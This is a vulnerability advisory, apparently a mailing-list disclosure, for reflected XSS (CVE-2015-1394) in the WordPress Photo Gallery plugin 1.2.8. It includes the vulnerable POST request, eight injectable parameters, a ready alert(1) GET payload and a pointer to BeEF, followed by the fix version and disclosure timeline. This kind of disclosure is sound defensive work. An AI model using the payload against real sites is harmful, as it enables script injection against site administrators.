[CVE-2015-1394] Photo Gallery (Wordpress Plugin) - Multiple XSS Vulnerabilities Version 1.2.8

[sven@xxxxxxxxxxxxx]

[CVE-2015-1394] Photo Gallery (Wordpress Plugin) - Multiple XSS Vulnerabilities 
Version 1.2.8

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Product Information:

Software: Photo Gallery (Wordpress Plugin)
Tested Version: 1.2.8, released on 15.01.2015 and has over half a million 
downloads.
Vulnerability Type: Cross-site Scripting (CWE-79)
Download link to tested version: 
https://downloads.wordpress.org/plugin/photo-gallery.1.2.8.zip 
Description: Photo Gallery is an advanced plugin with a list of tools and 
options for adding and editing images for different views. It is fully 
responsive. The product includes plugin for adding image galleries and albums 
to posts and pages, as well as multiple widgets. You can add images, providing 
detailed descriptions and tags, organize the galleries into different albums. 
(copied from https://wordpress.org/plugins/photo-gallery/)

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Description of vulnerability:

When an authenticated user is uploading a picture to a gallery the following 
POST request is sent to the server:


POST 
/wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image&
 HTTP/1.1
Host: <IP>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <Wordpress-Cookie>
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 484

importer_thumb_width=300&importer_thumb_height=300&importer_img_width=1200&importer_img_height=1200&upload_thumb_width=300&upload_thumb_height=300&upload_img_width=1200&upload_img_height=1200&files%5B%5D=&task=&extensions=jpg%2Cjpeg%2Cpng%2Cgif&callback=bwg_add_preview_image&sort_by=name&sort_order=asc&items_view=thumbs&dir=&file_names=&file_namesML=&file_new_name=&new_dir_name=&clipboard_task=&clipboard_files=&clipboard_src=&clipboard_dest=


The following parameters in the POST body are vulnerable to XSS:

- sort_by
- sort_order
- items_view
- dir
- clipboard_task
- clipboard_files
- clipboard_src
- clipboard_dest

The parameter sort_by can also be placed within the URL, all other parameters 
in the POST body can be deleted and the request method can be changed from POST 
to GET. Afterwards the following GET-request can be used to execute reflected 
XSS:

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image&sort_by=name";><script>alert(1)<%2fscript>


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Impact: 

User of the Wordpress Backend can be attacked through the XSS vulnerability, 
when an attacker is exploiting the various vulnerable parameters. Therefore an 
attacker could execute for example Website Spoofing or Inject malicious 
JavaScript code in order to use attacking tools like BeEF.


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Solution:

Update to the latest version, which is  1.2.11, see 
https://wordpress.org/plugins/photo-gallery/.

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Timeline:

Vulnerability found: 20.01.2015
Vendor informed: 21.01.2015
Response by vendor: 23.01.2015
Fix by vendor 25.01.2015
Public Advisory: 28.01.2015

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Regards,

Sven Schleier